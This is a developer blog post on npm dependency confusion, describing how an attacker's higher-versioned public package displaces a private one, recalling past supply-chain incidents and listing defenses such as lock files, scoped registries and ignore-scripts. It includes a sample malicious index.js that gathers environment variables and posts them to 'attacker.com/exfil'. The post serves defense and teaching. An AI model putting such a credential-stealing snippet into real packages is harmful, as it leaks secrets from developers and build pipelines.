Skip to main content
btheo.com btheo.com > press start to play
NEW POST: NODE.JS SECURITY 2025 OPEN FOR FREELANCE 10+ YEARS EXP REACT × NODE × AWS NEW POST: NODE.JS SECURITY 2025 OPEN FOR FREELANCE 10+ YEARS EXP REACT × NODE × AWS
SECURITY 4 MIN READ

npm Supply Chain Attacks: Dependency Confusion

WARNING · DRAGON AHEAD

An attacker publishes a public package with the same name as your private internal package. npm installs it. Your app runs their code.

This is dependency confusion, and it’s devastatingly simple. A researcher published a proof-of-concept in 2021 that exposed hundreds of companies, including Apple, Microsoft, and Tesla. In 2025, it’s still winning because teams underestimate it.

The attack doesn’t require hacking npm infrastructure. It requires understanding one thing: version precedence.

How the Attack Works

Your company maintains a private npm package called @mycompany/auth. Inside your monorepo, you reference it:

{
"dependencies": {
"@mycompany/auth": "^2.1.0"
}
}

An attacker publishes a public package called @mycompany/auth with version 9.9.9. When npm resolves dependencies:

  1. Check public registry first (default behavior).
  2. Public @mycompany/[email protected] exists.
  3. 9.9.9 > 2.1.0 (semver).
  4. Install the public version.
  5. Attacker’s code runs in your build pipeline.

No broken build. No loud errors. Just silent code execution.

Real-World Incidents

🔹 ua-parser-js (2021): Maintainer account compromised. Attacker injected crypto-mining code. 70M+ weekly downloads affected. Built applications, CI systems, and deployment pipelines all mined cryptocurrency.

🔹 event-stream (2018): Maintainer added a dependency (flatmap-stream) designed to steal Bitcoin wallets from downstream projects. Shipped to production for weeks.

🔹 node-ipc (2022): Maintainer pushed protest code that deleted files on certain dates. Bypassed in many projects using old lock files, but the intent was destructive.

The Mechanics: Step by Step

  1. Attacker profiles your company: Public GitHub repos, npm scopes, package names.
  2. Publishes a trojan: Same name as internal package, higher version number.
  3. Waits for install: New developer runs npm install, or CI rebuilds the app.
  4. Code executes: Postinstall script, or code in index.js runs immediately.
  5. Exfiltrates data: Steals env vars, AWS credentials, API keys, source code.
// Malicious package index.js
const fs = require('fs');
const https = require('https');
// Runs on install
const secrets = {
env: process.env,
cwd: process.cwd(),
package: require('./package.json')
};
https.post('attacker.com/exfil', JSON.stringify(secrets), {
headers: { 'Content-Type': 'application/json' }
});
module.exports = { safe: true }; // Looks normal

How to Detect Attacks

npm audit: Shows outdated/vulnerable packages. Doesn’t catch zero-days, but catches known published exploits.

Terminal window
npm audit --production

Socket.dev: Scans every dependency for suspicious behavior: crypto operations, network requests, file system access on install.

Snyk: Commercial tool. Scans source code and dependencies, flags risky patterns.

Terminal window
npx snyk test

Manual review: Check new dependencies. Package published 1 day ago with 0 history and 10 downloads? Red flag.

Defense 1: Lock Files

package-lock.json pins exact versions and registries.

{
"dependencies": {
"@mycompany/auth": {
"version": "2.1.0",
"resolved": "https://private-npm.company.com/@mycompany/auth/-/@mycompany/auth-2.1.0.tgz",
"integrity": "sha512-..."
}
}
}

If npm tries to install 9.9.9 from public registry, hash mismatch fails the install.

Always commit lock files to version control.

Defense 2: npm Scope Configuration

Configure your private registry only for scoped packages:

Terminal window
npm config set @mycompany:registry https://private-npm.company.com/

Or in .npmrc:

@mycompany:registry=https://private-npm.company.com/
//private-npm.company.com/:_authToken=<token>
always-auth=true

Now @mycompany/* packages always resolve to your private registry.

Defense 3: Disable Postinstall Scripts

Postinstall scripts run during install. Most attacks hide in postinstall.

Terminal window
npm install --ignore-scripts

Or globally:

Terminal window
npm config set ignore-scripts true

Trade-off: Some legitimate packages need postinstall (native bindings, setup). Review your dependencies.

Defense 4: Automated Updates with Verification

Use Renovate or Dependabot to update dependencies frequently, but with checks:

{
"extends": ["config:base"],
"lockFileMaintenance": { "enabled": true },
"vulnerabilityAlerts": { "enabled": true },
"postUpdateOptions": ["yarnDedupeHighest"]
}

Combined with CI checks (tests, security scans), updates are safe.

Defense 5: Maintainer Trust

Check the package maintainer:

Terminal window
npm view @mycompany/auth --json | jq '.maintainers'

Look for:

  • Publication history (months or years).
  • Maintainer reputation (GitHub profile, other packages).
  • Download velocity (millions per week = scrutiny).

New package from unknown maintainer? Assume compromised until proven.

Summary

Dependency confusion is not a hypothetical. It’s a weaponized attack pattern with proven real-world impact.

Your defense layers:

🔹 Lock files: Pin versions and registry.

🔹 Scope configuration: Route scoped packages to private registry.

🔹 —ignore-scripts: Block postinstall execution.

🔹 Automated scanning: Socket.dev, Snyk, npm audit.

🔹 Frequent updates: Keep dependencies fresh.

🔹 Maintainer vetting: Trust but verify.

None of these alone are sufficient. Stack them.

The cost of a supply chain breach (exfiltrated secrets, ransomware, service disruption) is orders of magnitude higher than the friction of maintaining lock files and scoped registries.

ALL POSTS →